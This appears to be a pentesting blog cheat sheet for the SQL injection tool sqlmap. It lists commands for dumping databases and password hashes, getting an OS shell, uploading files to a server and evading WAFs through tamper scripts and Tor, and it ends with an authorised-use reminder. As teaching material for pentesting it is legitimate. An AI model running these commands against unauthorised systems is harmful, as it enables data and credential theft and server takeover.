root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat sqlmap.md
// web

sqlmap

21 Jul 2026 · 6 min read
sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. It covers the whole flow: from testing a suspicious parameter to enumerating databases, dumping tables and even getting a shell on the server. It is effectively the de facto standard for SQL injection testing in web pentesting.

The key nuance is that --level and --risk are not cosmetic: they control how many vectors and payloads sqlmap tries. With the defaults (level 1, risk 1) many real injections go unnoticed, especially those living in cookies, headers or POST parameters. Raising these values widens coverage, but also increases noise and the risk of damaging data, so they must be dialed up with judgment.

1. Beginner level — detection and enumeration

SQLMAP cheat sheet — Beginner
CommandWhat it does
sqlmap -u <url>Tests a URL for SQL injection
sqlmap -u <url> --dbsEnumerates the available databases
sqlmap -u <url> -D db --tablesEnumerates the tables of a database
sqlmap -u <url> -D db -T t --columnsEnumerates the columns of a table
sqlmap -u <url> -D db -T t --dumpDumps the contents of a table
sqlmap -u <url> --current-dbShows the current database
sqlmap -u <url> --current-userShows the current database user
sqlmap -u <url> --batchAccepts the default values without prompting
sqlmap -u <url> --cookie="x=y"Sends cookies in the request
sqlmap -u <url> --data="a=1&b=2"Tests injection in POST data
sqlmap -u <url> --level 3Increases the testing level (1-5)
sqlmap -u <url> --risk 2Adjusts the risk of the tests (1-3)
sqlmap -u <url> --formsDetects and tests forms automatically
sqlmap -u <url> --dbms=mysqlSpecifies the database engine

2. Advanced level — shells, WAF bypass and evasion

SQLMAP cheat sheet — Advanced
CommandWhat it does
sqlmap -u <url> --os-shellGets a shell on the server
sqlmap -u <url> --dump-allDumps all the databases
sqlmap -u <url> --tamper=space2commentApplies WAF evasion scripts
sqlmap -u <url> --technique=BEUSTQSpecifies the injection techniques
sqlmap -u <url> --proxy=http://127.0.0.1:8080Routes the traffic through a proxy (Burp)
sqlmap -u <url> --torRoutes the traffic through Tor
sqlmap -r req.txtUses a captured HTTP request as input
sqlmap -u <url> --sql-shellOpens an interactive SQL shell
sqlmap -u <url> --privilegesEnumerates the privileges of the DB user
sqlmap -u <url> --passwordsDumps the password hashes
sqlmap -u <url> --union-cols=10Forces the number of columns in UNION
sqlmap -u <url> --second-order=<url2>Tests second-order SQL injection
sqlmap -u <url> --threads 10Increases the parallelism of requests
sqlmap -u <url> --file-write=x --file-dest=yUploads a file to the server

3. Details people miss

  • Use --batch in scripts and pipelines so sqlmap does not stall waiting for interactive answers, but review the log afterwards: it accepts default values that are not always the ones you want.
  • sqlmap caches the results for each target. If you change the request or suspect a false negative, add --flush-session to force a fresh analysis from scratch.
  • For injections in complex requests (POST, JSON, headers, authentication), capture the request with Burp and feed it in with -r req.txt instead of wrestling with -u and --data.
  • --os-shell and --file-write require high database privileges (often DBA) and a specific engine configuration; if they fail it is not a sqlmap bug, it is missing permissions or secure_file_priv blocking it.
  • A single --tamper rarely beats a modern WAF; chain several comma-separated scripts and also tune --random-agent and --delay to reduce blocking.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.